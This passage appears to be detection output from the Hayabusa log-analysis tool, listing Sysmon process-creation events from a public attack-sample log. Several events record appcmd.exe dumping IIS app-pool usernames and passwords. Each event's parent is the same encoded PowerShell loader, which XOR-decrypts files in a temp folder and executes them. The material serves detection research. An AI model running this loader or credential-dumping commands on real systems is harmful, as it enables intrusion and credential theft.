""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.270 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""ERROR ( message:Configuration error "" /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.350 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.581 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.661 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""Filename: redirection.config"" /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.731 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""Filename: redirection.config"" /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrA